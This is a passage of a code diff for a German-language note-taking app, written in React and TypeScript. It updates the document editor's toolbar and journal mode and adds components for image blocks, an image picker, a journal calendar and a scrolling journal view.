<div className="sticky top-0 z-20 flex flex-wrap items-center justify-between gap-2 px-4 sm:px-6 py-2 bg-canvas border-b border-border"> className={inJournal ? 'flex flex-col bg-editor' : 'flex-1 flex flex-col h-full min-h-0 bg-editor overflow-y-auto'}
<div className="flex items-center gap-2 min-w-0"> data-sync-channel={engineState?.channel}
>
{desktopBar && actionsTarget && createPortal(actionsBlock, actionsTarget)}
{/* Top Document Action Bar (the journal has one for all days; large screens use the tab bar) */}
{!inJournal && !desktopBar && (
<div className="sticky top-0 z-20 flex items-center justify-between gap-2 px-4 sm:px-6 py-2 bg-editor border-b border-border">
<div className="flex flex-1 items-center gap-2 min-w-0">
{onBackMobile && ( {onBackMobile && (
<button <button
type="button" type="button"
onClick={onBackMobile} onClick={onBackMobile}
className="lg:hidden btn-icon" className="lg:hidden btn-icon shrink-0 h-11 w-11 sm:h-7 sm:w-7"
title="Zurück zur Seitenleiste" title="Zurück zur Seitenleiste"
> >
<ArrowLeft className="w-3.5 h-3.5" /> <ArrowLeft className="w-3.5 h-3.5" />
@@ -662,50 +1070,14 @@ export const DocumentEditor: React.FC<DocumentEditorProps> = ({
{/* Breadcrumbs Navigation (Fokus-Modus) or Doc Indicator */} {/* Breadcrumbs Navigation (Fokus-Modus) or Doc Indicator */}
{zoomedBlock && breadcrumbs.length > 0 ? ( {zoomedBlock && breadcrumbs.length > 0 ? (
<nav breadcrumbNav
aria-label="Breadcrumb Navigation"
className="flex items-center flex-wrap gap-1 text-xs text-muted"
>
<button
type="button"
onClick={() => setZoomedBlockId(null)}
className="hover:text-accent inline-flex items-center gap-1 font-medium transition-colors cursor-pointer"
title="Zurück zum Hauptdokument"
>
<Home className="w-3.5 h-3.5 text-accent shrink-0" />
<span className="truncate max-w-[130px]">
{title || doc?.title || 'Dokument'}
</span>
</button>
{breadcrumbs.slice(1).map((crumb, idx) => {
const isCurrent = idx === breadcrumbs.length - 2;
return (
<React.Fragment key={crumb.id || idx}>
<ChevronRight className="w-3 h-3 text-faint shrink-0" />
{isCurrent ? (
<span
className="font-bold text-accent truncate max-w-[160px]"
title={crumb.title}
>
{crumb.title || 'Punkt'}
</span>
) : (
<button
type="button"
onClick={() => setZoomedBlockId(crumb.id)}
className="hover:text-main truncate max-w-[120px] transition-colors cursor-pointer"
title={`Zoom zu "${crumb.title}"`}
>
{crumb.title || 'Punkt'}
</button>
)}
</React.Fragment>
);
})}
</nav>
) : ( ) : (
<div className="flex items-center gap-1.5 text-xs text-muted"> <div
className={`flex min-w-0 items-center gap-1.5 text-xs text-muted transition-opacity duration-200 ${
titleScrolledAway ? 'opacity-100' : 'opacity-0 pointer-events-none'
}`}
aria-hidden={!titleScrolledAway}
>
<FileText className="w-3.5 h-3.5 text-accent shrink-0" /> <FileText className="w-3.5 h-3.5 text-accent shrink-0" />
<span className="truncate max-w-[180px] font-medium text-main"> <span className="truncate max-w-[180px] font-medium text-main">
{title || doc?.title || 'Dokument'} {title || doc?.title || 'Dokument'}
@@ -749,112 +1121,9 @@ export const DocumentEditor: React.FC<DocumentEditorProps> = ({
)} )}
</div> </div>
{/* Right Action Buttons */} {!desktopBar && actionsBlock}
<div className="flex items-center gap-1.5">
{/* How changes of others arrive (only relevant for shared notes) */}
{engineState && (engineState.shared || engineState.sessions > 1) && (
<span
className="hidden sm:inline-flex items-center gap-1 px-2 py-0.5 rounded-btn text-[11px] text-muted bg-panel border border-border"
title={
engineState.channel === 'ws'
? 'Live-Verbindung über WebSocket'
: engineState.channel === 'sse'
? 'Live-Verbindung über Server-Sent Events (WebSocket wird blockiert)'
: engineState.channel === 'longpoll'
? 'Live über Long-Polling (WebSocket und SSE werden blockiert)'
: 'Keine Live-Verbindung möglich – Änderungen werden alle 3 Sekunden abgefragt'
}
>
<span
className={`w-1.5 h-1.5 rounded-full ${
engineState.channel === 'interval' ? 'bg-status-warn' : 'bg-status-ok'
}`}
/>
{engineState.channel === 'longpoll' ? 'Live (Long-Polling)' : engineState.channel === 'interval' ? 'Abgleich alle 3 s' : 'Live'}
</span>
)}
{/* Who else has this note open */}
<PresenceAvatars people={otherPeople} avatars={avatarsById} />
{/* Sharing Section */}
{doc && !inTrash && (() => {
const isOwner = doc.isOwner !== false && (doc.userId === currentUser?.id || !doc.userId || currentUser?.role === 'admin');
const sharesCount = doc.sharedWith?.length || 0;
const isShared = sharesCount > 0 || !isOwner || Boolean(doc.sharedFolderId);
const ownerDisplayName = doc.ownerName || 'Eigentümer';
return (
<div className="flex items-center gap-1.5">
{isShared && (
isOwner ? (
<button
type="button"
onClick={() => onOpenShareModal(doc)}
className="px-2 py-0.5 rounded text-[10px] font-semibold bg-accent/15 text-accent border border-accent/30 flex items-center gap-1 hover:bg-accent/25 hover:border-accent/50 transition-colors cursor-pointer"
title="Teilen-Menü öffnen: Geteilt mit Nutzern/Gruppen anzeigen & verwalten"
>
<Users className="w-2.5 h-2.5" />
<span>Geteilt{sharesCount > 0 ? ` (${sharesCount})` : ''}</span>
</button>
) : (
<button
type="button"
onClick={() => onOpenShareModal(doc)}
className="px-2 py-0.5 rounded text-[10px] font-medium border border-border text-muted flex items-center gap-1 bg-surface-subtle hover:bg-panel-elevated hover:text-main transition-colors cursor-pointer"
title="Teilen & Berechtigungen öffnen"
>
<Users className="w-2.5 h-2.5" />
<span>Geteilt von {ownerDisplayName}</span>
</button>
)
)}
<button
type="button"
onClick={() => onOpenShareModal(doc)}
className="btn-icon"
title="Notiz teilen und Berechtigungen"
>
<Users className="w-3.5 h-3.5" />
</button>
</div>
);
})()}
{!inTrash && <button
type="button"
onClick={handleTogglePin}
className={`btn-icon ${
doc?.isPinned
? 'text-status-warn bg-status-warn/10 border-status-warn/30'
: ''
}`}
title={doc?.isPinned ? 'Anheftung lösen' : 'Notiz anheften'}
>
<Pin className="w-3.5 h-3.5" />
</button>}
<button
type="button"
onClick={handleExportMarkdown}
className="btn-icon"
title="Als Markdown (.md) exportieren"
>
<Download className="w-3.5 h-3.5" />
</button>
{canEdit && (doc?.isOwner || doc?.permission === 'owner') && (
<button
type="button"
onClick={() => onDeleteDoc(docId)}
className="btn-icon-danger"
title="Notiz löschen"
>
<Trash2 className="w-3.5 h-3.5" />
</button>
)}
</div>
</div> </div>
)}
{/* In the trash: read-only with a way back */} {/* In the trash: read-only with a way back */}
{inTrash && ( {inTrash && (
@@ -883,7 +1152,14 @@ export const DocumentEditor: React.FC<DocumentEditorProps> = ({
)} )}
{/* Main Content Area */} {/* Main Content Area */}
<div className="w-full px-4 sm:px-8 py-5 flex-1"> {/* Phones: almost no side margin; very deep outlines scroll sideways (rows keep a minimum width) */}
{/* shrink-0: the sideways scroll area must keep its full height, so only the editor scrolls vertically */}
<div
className={`w-full pl-2 pr-1 sm:px-8 flex-auto shrink-0 overflow-x-auto sm:overflow-x-visible [-webkit-overflow-scrolling:touch] ${
inJournal ? 'py-3' : 'py-5'
} ${focusMode ? 'max-w-3xl mx-auto' : ''}`}
>
{desktopBar && zoomedBlock && breadcrumbs.length > 0 && <div className="mb-3">{breadcrumbNav}</div>}
{zoomedBlock ? ( {zoomedBlock ? (
/* ========================================================================= /* =========================================================================
FOKUS-MODUS & ZOOM-IN (HOISTED SUBTREE VIEW) FOKUS-MODUS & ZOOM-IN (HOISTED SUBTREE VIEW)
@@ -922,7 +1198,7 @@ export const DocumentEditor: React.FC<DocumentEditorProps> = ({
}} }}
placeholder="Ast-Titel…" placeholder="Ast-Titel…"
readOnly={!canEdit} readOnly={!canEdit}
className="w-full text-2xl sm:text-3xl font-extrabold text-main bg-transparent border-0 focus:outline-none focus:ring-0 tracking-tight leading-tight" className="w-full text-2xl sm:text-3xl font-light text-main bg-transparent border-0 focus:outline-none focus:ring-0 tracking-tight leading-tight"
/> />
</div> </div>
@@ -963,20 +1239,24 @@ export const DocumentEditor: React.FC<DocumentEditorProps> = ({
</div> </div>
) : ( ) : (
<OutlinerTree <OutlinerTree
compact={inJournal}
docId={docId} docId={docId}
blocks={childBlocks} blocks={childBlocks}
canEdit={canEdit} canEdit={canEdit}
levelOffset={levelOffset} levelOffset={levelOffset}
onZoomBlock={setZoomedBlockId} onZoomBlock={setZoomedBlockId}
onExtractBlock={canEdit ? handleExtractBlock : undefined}
onUpdateBlock={handleUpdateBlock} onUpdateBlock={handleUpdateBlock}
onUpdateBlocks={handleUpdateBlocks} onUpdateBlocks={handleUpdateBlocks}
onCreateBlock={handleCreateBlock} onCreateBlock={handleCreateBlock}
onInsertBlocks={handleInsertBlocks} onInsertBlocks={handleInsertBlocks}
onDeleteBlock={handleDeleteBlock} onDeleteBlock={handleDeleteBlock}
onMoveBlock={handleMoveBlock} onMoveBlock={handleMoveBlock}
onMoveSibling={handleMoveSibling}
onOpenTask={onOpenTask} onOpenTask={onOpenTask}
onTagClick={onSelectTag} onTagClick={onSelectTag}
onWikiLinkClick={onWikiLinkClick} onWikiLinkClick={onWikiLinkClick}
onCopyBlockLink={handleCopyBlockLink}
initialFocusedBlockId={initialFocusedBlockId} initialFocusedBlockId={initialFocusedBlockId}
onFocusedBlockChange={(id) => engineRef.current?.focusBlock(id)} onFocusedBlockChange={(id) => engineRef.current?.focusBlock(id)}
lockedBlocks={lockedBlocks} lockedBlocks={lockedBlocks}
@@ -997,11 +1277,18 @@ export const DocumentEditor: React.FC<DocumentEditorProps> = ({
<div className="relative"> <div className="relative">
<button <button
type="button" type="button"
onClick={() => canEdit && setShowEmojiPicker((prev) => !prev)} onClick={() => canEdit && !inJournal && setShowEmojiPicker((prev) => !prev)}
className="text-2xl sm:text-3xl hover:opacity-80 transition-opacity cursor-pointer select-none leading-none bg-transparent border-0 outline-none p-0 focus:outline-none focus:ring-0 shadow-none" className={`text-2xl sm:text-3xl transition-opacity select-none leading-none bg-transparent border-0 outline-none p-0 focus:outline-none focus:ring-0 shadow-none ${
title="Icon ändern" inJournal ? 'cursor-default' : 'hover:opacity-80 cursor-pointer'
}`}
title={inJournal ? undefined : 'Icon ändern'}
> >
{doc?.icon || '📝'} {/* Journal days: a quiet calendar in the theme's text colour instead of the colourful emoji */}
{inJournal ? (
<CalendarDays className="w-6 h-6 sm:w-7 sm:h-7 text-muted" strokeWidth={1.75} />
) : (
doc?.icon || '📝'
)}
</button> </button>
{showEmojiPicker && canEdit && ( {showEmojiPicker && canEdit && (
<EmojiPickerModal <EmojiPickerModal
@@ -1022,7 +1309,7 @@ export const DocumentEditor: React.FC<DocumentEditorProps> = ({
}} }}
rows={1} rows={1}
value={title} value={title}
readOnly={!canEdit} readOnly={!canEdit || inJournal}
autoFocus={autoFocusTitle} autoFocus={autoFocusTitle}
onChange={(e) => { onChange={(e) => {
handleTitleChange(e); handleTitleChange(e);
@@ -1043,27 +1330,31 @@ export const DocumentEditor: React.FC<DocumentEditorProps> = ({
}} }}
onBlur={handleTitleBlur} onBlur={handleTitleBlur}
placeholder="Titel der Notiz…" placeholder="Titel der Notiz…"
className="flex-1 min-w-0 text-xl sm:text-2xl font-bold text-main bg-transparent border-0 focus:outline-none focus:ring-0 tracking-tight resize-none leading-snug whitespace-pre-wrap break-words [overflow-wrap:anywhere]" className="flex-1 min-w-0 text-2xl sm:text-3xl font-light text-main bg-transparent border-0 focus:outline-none focus:ring-0 tracking-tight resize-none leading-snug whitespace-pre-wrap break-words [overflow-wrap:anywhere]"
/> />
</div> </div>
{/* Logseq Outliner Tree */} {/* Logseq Outliner Tree */}
<OutlinerTree <OutlinerTree
compact={inJournal}
ref={outlinerTreeRef} ref={outlinerTreeRef}
docId={docId} docId={docId}
blocks={blocks} blocks={blocks}
canEdit={canEdit} canEdit={canEdit}
levelOffset={0} levelOffset={0}
onZoomBlock={setZoomedBlockId} onZoomBlock={setZoomedBlockId}
onExtractBlock={canEdit ? handleExtractBlock : undefined}
onUpdateBlock={handleUpdateBlock} onUpdateBlock={handleUpdateBlock}
onUpdateBlocks={handleUpdateBlocks} onUpdateBlocks={handleUpdateBlocks}
onCreateBlock={handleCreateBlock} onCreateBlock={handleCreateBlock}
onInsertBlocks={handleInsertBlocks} onInsertBlocks={handleInsertBlocks}
onDeleteBlock={handleDeleteBlock} onDeleteBlock={handleDeleteBlock}
onMoveBlock={handleMoveBlock} onMoveBlock={handleMoveBlock}
onMoveSibling={handleMoveSibling}
onOpenTask={onOpenTask} onOpenTask={onOpenTask}
onTagClick={onSelectTag} onTagClick={onSelectTag}
onWikiLinkClick={onWikiLinkClick} onWikiLinkClick={onWikiLinkClick}
onCopyBlockLink={handleCopyBlockLink}
initialFocusedBlockId={initialFocusedBlockId} initialFocusedBlockId={initialFocusedBlockId}
onFocusedBlockChange={(id) => engineRef.current?.focusBlock(id)} onFocusedBlockChange={(id) => engineRef.current?.focusBlock(id)}
lockedBlocks={lockedBlocks} lockedBlocks={lockedBlocks}
@@ -1073,7 +1364,7 @@ export const DocumentEditor: React.FC<DocumentEditorProps> = ({
onRedo={handleRedo} onRedo={handleRedo}
/> />
{onOpenDocBlock && !inTrash && <BacklinksSection docId={docId} title={title} onOpen={onOpenDocBlock} />} {onOpenDocBlock && !inTrash && !inJournal && <BacklinksSection docId={docId} title={title} onOpen={onOpenDocBlock} />}
</> </>
)} )}
</div> </div>
@@ -1083,7 +1374,21 @@ export const DocumentEditor: React.FC<DocumentEditorProps> = ({
role="status" role="status"
className="fixed bottom-6 left-1/2 -translate-x-1/2 z-50 max-w-[90vw] px-3 py-2 rounded-card text-xs text-main bg-panel-elevated border border-border shadow-panel" className="fixed bottom-6 left-1/2 -translate-x-1/2 z-50 max-w-[90vw] px-3 py-2 rounded-card text-xs text-main bg-panel-elevated border border-border shadow-panel"
> >
{notice} <span>{notice}</span>
{noticeActions.map((a) => (
<button
key={a.label}
type="button"
onClick={() => {
setNotice(null);
setNoticeActions([]);
a.run();
}}
className="ml-3 font-semibold text-accent hover:underline min-h-[44px] sm:min-h-0"
>
{a.label}
</button>
))}
</div> </div>
)} )}
</div> </div>
@@ -0,0 +1,116 @@
import React, { useEffect, useState } from 'react';
import { createPortal } from 'react-dom';
import { ImageOff, Loader2, X } from 'lucide-react';
import { mediaObjectURL, parseMediaContent } from '../../lib/media';
interface ImageBlockProps {
content: string;
canEdit: boolean;
onCaptionChange: (caption: string) => void;
}
// Image block: the picture (click = full screen) and an optional caption below it.
export const ImageBlock: React.FC<ImageBlockProps> = ({ content, canEdit, onCaptionChange }) => {
const ref = parseMediaContent(content);
const [src, setSrc] = useState<string | null>(null);
const [failed, setFailed] = useState(false);
const [zoomed, setZoomed] = useState(false);
const [caption, setCaption] = useState(ref?.caption || '');
useEffect(() => {
setCaption(ref?.caption || '');
}, [ref?.caption]);
const mediaId = ref?.id;
useEffect(() => {
if (!mediaId) return;
let alive = true;
setFailed(false);
mediaObjectURL(mediaId)
.then((u) => alive && setSrc(u))
.catch(() => alive && setFailed(true));
return () => {
alive = false;
};
}, [mediaId]);
useEffect(() => {
if (!zoomed) return;
const onKey = (e: KeyboardEvent) => e.key === 'Escape' && setZoomed(false);
window.addEventListener('keydown', onKey);
return () => window.removeEventListener('keydown', onKey);
}, [zoomed]);
if (!ref) {
return <div className="text-xs text-status-err py-1">Bild-Verweis ist beschädigt: {content}</div>;
}
const commitCaption = () => {
if (caption.trim() !== ref.caption) onCaptionChange(caption.trim());
};
return (
<figure className="my-1 space-y-1">
{failed ? (
<div className="flex items-center gap-2 h-24 px-3 rounded-card border border-border bg-panel text-xs text-muted">
<ImageOff className="w-4 h-4" /> Bild nicht verfügbar (offline oder gelöscht)
</div>
) : src ? (
<button
type="button"
onClick={() => setZoomed(true)}
title="Vergrößern"
className="block max-w-full rounded-card overflow-hidden border border-border bg-panel cursor-zoom-in"
>
<img src={src} alt={ref.caption} className="block max-w-full max-h-[28rem] object-contain" />
</button>
) : (
<div className="flex items-center justify-center w-48 h-32 rounded-card border border-border bg-panel">
<Loader2 className="w-4 h-4 animate-spin text-muted" />
</div>
)}
{canEdit ? (
<input
type="text"
value={caption}
onChange={(e) => setCaption(e.target.value)}
onBlur={commitCaption}
onKeyDown={(e) => {
if (e.key === 'Enter') {
e.preventDefault();
(e.target as HTMLInputElement).blur();
}
}}
placeholder="Beschriftung hinzufügen…"
className="w-full bg-transparent border-0 p-0 text-xs text-muted placeholder-faint focus:outline-none focus:ring-0"
/>
) : (
ref.caption && <figcaption className="text-xs text-muted">{ref.caption}</figcaption>
)}
{zoomed &&
src &&
createPortal(
<div
role="dialog"
aria-label={ref.caption || 'Bild'}
onClick={() => setZoomed(false)}
className="fixed inset-0 z-[100] bg-black/85 flex flex-col items-center justify-center p-4 cursor-zoom-out"
>
<button
type="button"
onClick={() => setZoomed(false)}
title="Schließen (Esc)"
className="absolute top-[calc(0.75rem+env(safe-area-inset-top))] right-3 w-11 h-11 flex items-center justify-center rounded-full bg-black/50 text-white"
>
<X className="w-5 h-5" />
</button>
<img src={src} alt={ref.caption} className="max-w-full max-h-[85vh] object-contain" />
{ref.caption && <p className="mt-3 text-sm text-white/90 text-center max-w-2xl">{ref.caption}</p>}
</div>,
document.body
)}
</figure>
);
};
@@ -0,0 +1,165 @@
import React, { useEffect, useRef, useState } from 'react';
import { Camera, ImagePlus, Link as LinkIcon, Loader2, X } from 'lucide-react';
import { copyExternalImage, prepareImage, UploadedMedia, uploadMedia } from '../../lib/media';
interface ImagePickerProps {
docId: string;
onDone: (media: UploadedMedia) => void;
onCancel: () => void;
}
// Inline box an empty bullet turns into after /image: pick a file (or the camera on phones), drop or
// paste an image, or give a link the server copies. Nothing is synced until the upload succeeded.
export const ImagePicker: React.FC<ImagePickerProps> = ({ docId, onDone, onCancel }) => {
const [busy, setBusy] = useState(false);
const [error, setError] = useState<string | null>(null);
const [dragOver, setDragOver] = useState(false);
const [url, setUrl] = useState('');
const fileRef = useRef<HTMLInputElement>(null);
const cameraRef = useRef<HTMLInputElement>(null);
const boxRef = useRef<HTMLDivElement>(null);
useEffect(() => {
boxRef.current?.focus();
}, []);
const uploadFile = async (file: File | Blob | null | undefined) => {
if (!file || busy) return;
if (file.type && !file.type.startsWith('image/')) {
setError('Bitte eine Bilddatei wählen');
return;
}
setBusy(true);
setError(null);
try {
const { blob, name } = await prepareImage(file);
onDone(await uploadMedia(docId, blob, name));
} catch (err: any) {
setError(err?.message || 'Hochladen fehlgeschlagen');
setBusy(false);
}
};
const copyLink = async (e?: React.FormEvent) => {
e?.preventDefault();
const target = url.trim();
if (!target || busy) return;
setBusy(true);
setError(null);
try {
onDone(await copyExternalImage(docId, target));
} catch (err: any) {
setError(err?.message || 'Bild konnte nicht übernommen werden');
setBusy(false);
}
};
return (
<div
ref={boxRef}
tabIndex={-1}
onKeyDown={(e) => {
if (e.key === 'Escape') {
e.preventDefault();
onCancel();
}
}}
onPaste={(e) => {
const item = Array.from(e.clipboardData.items).find((i) => i.type.startsWith('image/'));
if (item) {
e.preventDefault();
void uploadFile(item.getAsFile());
}
}}
onDragOver={(e) => {
e.preventDefault();
setDragOver(true);
}}
onDragLeave={() => setDragOver(false)}
onDrop={(e) => {
e.preventDefault();
setDragOver(false);
void uploadFile(e.dataTransfer.files?.[0]);
}}
className={
dragOver
? 'my-1 p-3 rounded-card border-2 border-dashed border-accent bg-accent-dim space-y-3 focus:outline-none'
: 'my-1 p-3 rounded-card border-2 border-dashed border-border bg-panel space-y-3 focus:outline-none'
}
>
<div className="flex items-center justify-between gap-2">
<span className="text-xs font-semibold text-main flex items-center gap-1.5">
<ImagePlus className="w-4 h-4 text-accent" /> Bild einfügen
</span>
<button
type="button"
onClick={onCancel}
title="Abbrechen (Esc)"
className="w-11 h-11 sm:w-7 sm:h-7 flex items-center justify-center rounded-btn text-muted hover:text-main hover:bg-panel-elevated"
>
<X className="w-4 h-4" />
</button>
</div>
{busy ? (
<div className="flex items-center gap-2 text-xs text-muted py-3">
<Loader2 className="w-4 h-4 animate-spin text-accent" /> Wird hochgeladen…
</div>
) : (
<>
<div className="flex flex-col sm:flex-row gap-2">
<button
type="button"
onClick={() => fileRef.current?.click()}
className="btn-primary h-11 sm:h-8 px-3 text-xs flex items-center justify-center gap-1.5"
>
<ImagePlus className="w-4 h-4" /> Datei wählen
</button>
<button
type="button"
onClick={() => cameraRef.current?.click()}
className="btn-secondary h-11 sm:h-8 px-3 text-xs flex items-center justify-center gap-1.5 sm:hidden"
>
<Camera className="w-4 h-4" /> Foto aufnehmen
</button>
<span className="hidden sm:flex items-center text-[11px] text-faint">
oder hierher ziehen bzw. mit Strg+V einfügen
</span>
</div>
<form onSubmit={copyLink} className="flex gap-2">
<div className="relative flex-1 min-w-0">
<LinkIcon className="w-3.5 h-3.5 text-faint absolute left-2.5 top-1/2 -translate-y-1/2" />
<input
type="url"
inputMode="url"
value={url}
onChange={(e) => setUrl(e.target.value)}
placeholder="https://… Bild-Link"
className="w-full h-11 sm:h-8 pl-8 pr-2 input-field text-xs"
/>
</div>
<button
type="submit"
disabled={!url.trim()}
className="btn-secondary h-11 sm:h-8 px-3 text-xs shrink-0 disabled:opacity-40"
>
Übernehmen
</button>
</form>
</>
)}
{error && <p className="text-xs text-status-err">{error}</p>}
<input ref={fileRef} type="file" accept="image/*" hidden onChange={(e) => void uploadFile(e.target.files?.[0])} />
<input
ref={cameraRef}
type="file"
accept="image/*"
capture="environment"
hidden
onChange={(e) => void uploadFile(e.target.files?.[0])}
/>
</div>
);
};
@@ -0,0 +1,123 @@
import React, { useEffect, useMemo, useState } from 'react';
import { ChevronLeft, ChevronRight } from 'lucide-react';
import { MONTHS, monthGrid, parseISODate, todayISO } from '../../lib/journal';
interface JournalCalendarProps {
/** Day currently in view; the calendar follows its month */
activeDate: string;
/** Days with written entries (get a dot) */
entryDates: Set<string>;
onSelect: (date: string) => void;
}
const WEEKDAYS = ['Mo', 'Di', 'Mi', 'Do', 'Fr', 'Sa', 'So'];
export const JournalCalendar: React.FC<JournalCalendarProps> = ({ activeDate, entryDates, onSelect }) => {
const active = parseISODate(activeDate);
const [view, setView] = useState({ year: active.getFullYear(), month: active.getMonth() });
useEffect(() => {
const d = parseISODate(activeDate);
setView({ year: d.getFullYear(), month: d.getMonth() });
}, [activeDate]);
const today = todayISO();
const weeks = useMemo(() => monthGrid(view.year, view.month), [view]);
const years = useMemo(() => {
const now = new Date().getFullYear();
let first = now - 5;
entryDates.forEach((d) => {
first = Math.min(first, Number(d.slice(0, 4)));
});
const list: number[] = [];
for (let y = now + 1; y >= first; y--) list.push(y);
return list;
}, [entryDates]);
const shiftMonth = (delta: number) =>
setView((v) => {
const d = new Date(v.year, v.month + delta, 1);
return { year: d.getFullYear(), month: d.getMonth() };
});
return (
<div className="select-none text-xs" aria-label="Journal-Kalender">
<div className="flex items-center gap-1 mb-1.5">
<button
type="button"
onClick={() => shiftMonth(-1)}
className="h-9 w-9 sm:h-7 sm:w-7 shrink-0 rounded-btn flex items-center justify-center text-muted hover:text-main hover:bg-panel transition-colors cursor-pointer"
title="Vorheriger Monat"
aria-label="Vorheriger Monat"
>
<ChevronLeft className="w-3.5 h-3.5" />
</button>
<select
value={view.month}
onChange={(e) => setView((v) => ({ ...v, month: Number(e.target.value) }))}
className="flex-1 min-w-0 h-9 sm:h-7 px-1.5 rounded-btn bg-panel text-main border-0 text-xs font-semibold outline-none focus:ring-1 focus:ring-accent cursor-pointer"
aria-label="Monat"
>
{MONTHS.map((m, i) => (
<option key={m} value={i}>
{m}
</option>
))}
</select>
<select
value={view.year}
onChange={(e) => setView((v) => ({ ...v, year: Number(e.target.value) }))}
className="w-[4.5rem] h-9 sm:h-7 px-1.5 rounded-btn bg-panel text-main border-0 text-xs font-semibold outline-none focus:ring-1 focus:ring-accent cursor-pointer"
aria-label="Jahr"
>
{years.map((y) => (
<option key={y} value={y}>
{y}
</option>
))}
</select>
<button
type="button"
onClick={() => shiftMonth(1)}
className="h-9 w-9 sm:h-7 sm:w-7 shrink-0 rounded-btn flex items-center justify-center text-muted hover:text-main hover:bg-panel transition-colors cursor-pointer"
title="Nächster Monat"
aria-label="Nächster Monat"
>
<ChevronRight className="w-3.5 h-3.5" />
</button>
</div>
<div className="grid grid-cols-7 gap-0.5 text-center text-[10px] text-faint font-semibold mb-0.5">
{WEEKDAYS.map((w) => (
<span key={w}>{w}</span>
))}
</div>
<div className="grid grid-cols-7 gap-0.5">
{weeks.flat().map((date, i) =>
date ? (
<button
key={date}
type="button"
onClick={() => onSelect(date)}
aria-current={date === activeDate ? 'date' : undefined}
title={parseISODate(date).toLocaleDateString('de-DE', { weekday: 'long', day: 'numeric', month: 'long', year: 'numeric' })}
className={`relative h-9 sm:h-7 rounded-btn text-xs tabular-nums transition-colors cursor-pointer ${
date === activeDate
? 'bg-accent-dim text-accent font-bold'
: date === today
? 'text-accent font-semibold ring-1 ring-inset ring-accent-border hover:bg-panel-elevated'
: 'text-main hover:bg-panel-elevated'
}`}
>
{Number(date.slice(8))}
{entryDates.has(date) && (
<span className="absolute left-1/2 -translate-x-1/2 bottom-0.5 w-1 h-1 rounded-full bg-accent" />
)}
</button>
) : (
<span key={`empty-${i}`} />
)
)}
</div>
</div>
);
};
@@ -0,0 +1,246 @@
import React, { useCallback, useEffect, useMemo, useRef, useState } from 'react';
import { ArrowLeft, CalendarDays, ChevronDown, Users } from 'lucide-react';
import { Document, JournalDay, User } from '../../lib/types';
import { shortDateLabel, todayISO } from '../../lib/journal';
import { DocumentEditor } from './DocumentEditor';
import { JournalCalendar } from './JournalCalendar';
const PAGE = 7;
interface JournalViewProps {
days: JournalDay[];
/** Days jumped to over the calendar (shown even while still empty) */
extraDates: string[];
activeDate: string;
onActiveDateChange: (date: string) => void;
/** Set by the calendar; the view scrolls there (nonce: the same day again) */
jumpRequest: { date: string; nonce: number } | null;
/** Opens (creates on first use) the note of a day */
onOpenDay: (date: string) => Promise<Document | null>;
onJump: (date: string) => void;
getDoc: (id: string) => Document | undefined;
currentUser?: User | null;
availableFolders: string[];
onOpenShareModal: (doc: Document) => void;
onDocMetadataChange: (updated: Document) => void;
onDeleteDoc: (docId: string) => void;
onSelectTag: (tag: string) => void;
onWikiLinkClick?: (pageTitle: string, blockId?: string) => void;
onOpenDocBlock?: (docId: string, blockId?: string) => void;
onOpenTask?: (taskId: string) => void;
onBackMobile: () => void;
/** A day was saved (its calendar dot may change) */
onDaySaved: () => void;
}
// The journal: one note per day below each other, today on top, older days load while scrolling.
export const JournalView: React.FC<JournalViewProps> = ({
days,
extraDates,
activeDate,
onActiveDateChange,
jumpRequest,
onOpenDay,
onJump,
getDoc,
currentUser,
availableFolders,
onOpenShareModal,
onDocMetadataChange,
onDeleteDoc,
onSelectTag,
onWikiLinkClick,
onOpenDocBlock,
onOpenTask,
onBackMobile,
onDaySaved,
}) => {
const today = todayISO();
const docIdByDate = useMemo(() => new Map(days.map((d) => [d.date, d.docId])), [days]);
const entryDates = useMemo(() => new Set(days.filter((d) => !d.empty).map((d) => d.date)), [days]);
// Today, every day with text and the days jumped to – newest first
const dates = useMemo(() => {
const set = new Set<string>([today, ...extraDates]);
days.forEach((d) => {
if (!d.empty) set.add(d.date);
});
return Array.from(set).sort((a, b) => b.localeCompare(a));
}, [days, extraDates, today]);
const [limit, setLimit] = useState(PAGE);
const shown = dates.slice(0, limit);
const [showCalendar, setShowCalendar] = useState(false);
// Days on screen without a note yet (today, a day jumped to) get one
const opening = useRef(new Set<string>());
useEffect(() => {
shown.forEach((date) => {
if (!docIdByDate.has(date) && !opening.current.has(date)) {
opening.current.add(date);
void onOpenDay(date).finally(() => opening.current.delete(date));
}
});
}, [shown, docIdByDate, onOpenDay]);
const scrollRef = useRef<HTMLDivElement | null>(null);
const sectionRefs = useRef(new Map<string, HTMLElement>());
// Jump: make sure the day is rendered, then scroll to it once its note is there
const pendingJump = useRef<string | null>(null);
const handledJump = useRef(0);
useEffect(() => {
if (!jumpRequest || handledJump.current === jumpRequest.nonce) return;
const idx = dates.indexOf(jumpRequest.date);
if (idx === -1) return; // the parent adds the day first
handledJump.current = jumpRequest.nonce;
if (idx >= limit) setLimit(idx + PAGE);
pendingJump.current = jumpRequest.date;
}, [jumpRequest, dates, limit]);
useEffect(() => {
const date = pendingJump.current;
if (!date) return;
const el = sectionRefs.current.get(date);
if (el && docIdByDate.has(date)) {
pendingJump.current = null;
el.scrollIntoView({ block: 'start' });
}
});
// The day at the top of the scroll area is the active one (calendar, share button)
const onScroll = useCallback(() => {
const root = scrollRef.current;
if (!root) return;
const top = root.getBoundingClientRect().top + 48;
let current = shown[0];
for (const date of shown) {
const el = sectionRefs.current.get(date);
if (!el) continue;
if (el.getBoundingClientRect().top <= top) current = date;
else break;
}
if (current && current !== activeDate) onActiveDateChange(current);
}, [shown, activeDate, onActiveDateChange]);
// Load older days when the end comes into view
const sentinelRef = useRef<HTMLDivElement | null>(null);
useEffect(() => {
const el = sentinelRef.current;
const root = scrollRef.current;
if (!el || !root || typeof IntersectionObserver === 'undefined' || limit >= dates.length) return;
const observer = new IntersectionObserver(
([entry]) => {
if (entry.isIntersecting) setLimit((l) => l + PAGE);
},
{ root, rootMargin: '400px 0px' }
);
observer.observe(el);
return () => observer.disconnect();
}, [limit, dates.length]);
const activeDocId = docIdByDate.get(activeDate);
const activeDoc = activeDocId ? getDoc(activeDocId) : undefined;
const sharedCount = activeDoc?.sharedWith?.length ?? 0;
return (
<div className="flex-1 flex flex-col min-h-0 bg-editor view-enter">
{/* One header for all days: the day in view and its sharing */}
<div className="shrink-0 flex items-center gap-2 px-4 sm:px-6 py-2 border-b border-border">
<button
type="button"
onClick={onBackMobile}
className="lg:hidden btn-icon shrink-0 h-11 w-11"
title="Zurück zur Seitenleiste"
>
<ArrowLeft className="w-3.5 h-3.5" />
</button>
<button
type="button"
onClick={() => setShowCalendar((v) => !v)}
